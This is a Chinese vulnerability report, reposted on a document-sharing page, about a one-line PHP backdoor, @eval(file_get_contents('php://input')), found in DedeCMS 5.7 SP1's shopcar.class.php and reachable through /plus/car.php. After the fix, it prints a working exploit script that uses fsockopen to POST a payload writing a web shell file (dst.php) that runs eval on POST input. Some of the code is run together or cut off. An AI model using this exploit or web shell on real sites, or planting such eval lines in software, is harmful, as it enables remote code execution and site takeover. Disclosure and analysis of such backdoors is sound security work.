dedecms 5.7 shopcar.class.php 被植入一句话 一句话后门利用

相关主题
  1. 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。

dedecms 5.7 shopcar.class.php 被植入一句话一句话后门利用

漏洞详情

披露状态:

2012-03-20:积极联系厂商并且等待厂商认领中,细节不对外公开

2012-03-20:厂商已经主动忽略漏洞,细节向公众公开

简要描述:

DedeCMS V5.7 SP1正式版

UTF-8 GBK版本疑似被植入一句话后门

前几日下载并不存在此代码

详细说明:

shopcar.class.php被植入一句话@eval(file_get_contents('php://input'));

漏洞证明:

shopcar.class.php被植入一句话@eval(file_get_contents('php://input'));

修复方案:

删除@eval(file_get_contents('php://input')); shopcar.class.php 被植入一句话

@eval(file_get_contents('php://input'));

去官网下了一套回来,看了下代码,

classMemberShops{var $OrdersId;var $productsId;function

__construct(){ $this->OrdersId=

$this->getCookie("OrdersId");if(empty($this->OrdersId)){ $this->OrdersId= $this->MakeOrders();}@eval(file_get_contents('php://input'));}functionMemberShops(){ $this->__construct();}

shopcar.class.php 文件中只有一个MemberShops 类,构造函数里面出现了后门,当类被实例化的时候就会自动执行构造函数,程序猿你懂的。。。

eval 执行和file_get_contents 获取内容不用说了,php://input 这个是输入流,接收的是post 内容,但是post 类型不能为multipart/form-data

在eclipse 里搜索new MemberShops, 找到/plus/car.php 里面实例化了这个类,

require_once (dirname(__FILE__)."/../include/common.inc.php");define('_PLUS_TPL_', DEDEROOT.'/templets/plus');require_once(DEDEINC.'/dedetemplate.class.php');require_o nce DEDEINC.'/shopcar.class.php';require_once DEDEINC.'/memberlogin.class.php';$cart =newMemberShops();

开始的时候写了个简单的表单去测试,发现php://input 的内容中特殊符号会被urlencode,很奇怪吧,明明取的是post,却像get 一样被编码,既然如此,那就自己构造post 了,抓个包,用fsockopen() 函数模拟post 提交吧,exp 如下:

'$a=${@phpinfo()};';$content ='$a=${@file_put_contents("dst.php","

eval(\$_POST[cmd]); ?>")};';$data = "POST $dir/plus/car.php HTTP/1.1\r\n";$data .= "Host: localhost\r\n";$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";$data .= "Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";$data .= "Content-Length: ".strlen($content)."\r\n\r\n";$data .=

$content."\r\n";$socket=fsockopen($url,'80');if ($socket)

{ fwrite($socket,$data); while (!feof($socket))

{ $exp.=fgets($socket, 1024); } echo $exp;}else{ echo 'socket err';}?>

相关文档
最新文档